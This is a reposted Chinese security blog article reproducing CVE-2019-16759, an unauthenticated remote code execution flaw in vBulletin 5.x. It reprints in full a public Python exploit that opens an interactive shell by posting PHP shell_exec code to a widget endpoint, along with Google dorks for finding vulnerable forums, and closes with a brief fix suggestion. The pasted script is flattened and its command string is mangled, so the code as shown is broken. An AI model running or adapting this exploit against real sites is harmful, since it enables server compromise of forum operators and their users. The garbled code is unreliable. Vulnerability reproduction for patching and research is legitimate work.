CVE-2019-16759 vBulletin 5.x 0day pre-auth RCE 漏洞复现
2019-09-27 15:55:59 Author: mp.weixin.qq.com(查看原文) 阅读量:68 收藏

0X1 漏洞概述

vBulletin 是世界上用户非常广泛的PHP论坛,很多大型论坛都选择vBulletin作为自己的社区。vBulletin高效,稳定,安全,在中国也有很多大型客户,比如X鸟网,XX团购等在线上万人的论坛都用vBulletin。

vBulletin的官方网站是 http://www.vBulletin.com 它不是免费软件,但价格很低。的公司网站和论坛。因此,该0day漏洞细节的公布会对大量的用户带来影响。

匿名黑客称发现vBulletin中存在一个远程代码执行漏洞,影响vBulletin v 5.0.0到最新的v 5.5.4版本。该漏洞非常严重的原因不仅在于可以远程利用,还在于漏洞利用并不需要认证。由于论坛软件包是内部 widget文件通过URL参数接收配置的方式存在漏洞,服务器在分析参数时又没有进行适当的安全检查

漏洞POC参考:https://seclists.org/fulldisclosure/2019/Sep/31

#!/usr/bin/python## vBulletin 5.x 0day pre-auth RCE exploit# # This should work on all versions from 5.0.0 till 5.5.4## Google Dorks:# - site:*.vbulletin.net# - "Powered by vBulletin Version 5.5.4"
import requestsimport sys
if len(sys.argv) != 2: sys.exit("Usage: %s <URL to vBulletin>" % sys.argv[0])
params = {"routestring":"ajax/render/widget_php"}
while True: try: cmd = raw_input("vBulletin$") params["widgetConfig[code]"] = "echo shell_exec('cmd+'); exit;" r = requests.post(url = sys.argv[1], data = params) if r.status_code == 200: print r.text else: sys.exit("Exploit failed! :(") except KeyboardInterrupt: sys.exit("\nClosing shell...") except Exception, e:        sys.exit(str(e))

0X2 环境搭建

由于vBulletin需要一些$才能下载源码,找了一下发现网上可以下载的是4.x的代码,无法复现。而该项目维护人员目前还并没有发布更新补丁,官网的测试版本还是最新的5.5.4,因此使用在线测试环境测试。漏洞原理分析可以参考chybeta在先知上做的分析。在官网上填写邮箱,即可得到测试版地址,如下所示

https://www.vbulletin.com/en/vb5-trial/

0X3 漏洞复现

使用上面的poc代码测试demo环境,可以看到返回条件成功

也可参考chybeta的复现过程进行代码注入执行

0X4 漏洞修复

    建议对includes\vb5\frontend\controller\bbcode.php中的变量evalCode做过滤防护

0x5 参考文章

    https://xz.aliyun.com/t/6419

    https://seclists.org/fulldisclosure/2019/Sep/31

  投稿邮箱:[email protected]


文章来源: https://mp.weixin.qq.com/s/KJMlm6OiDlAHhN3O_GOK4A
如有侵权请联系:admin#unsafe.sh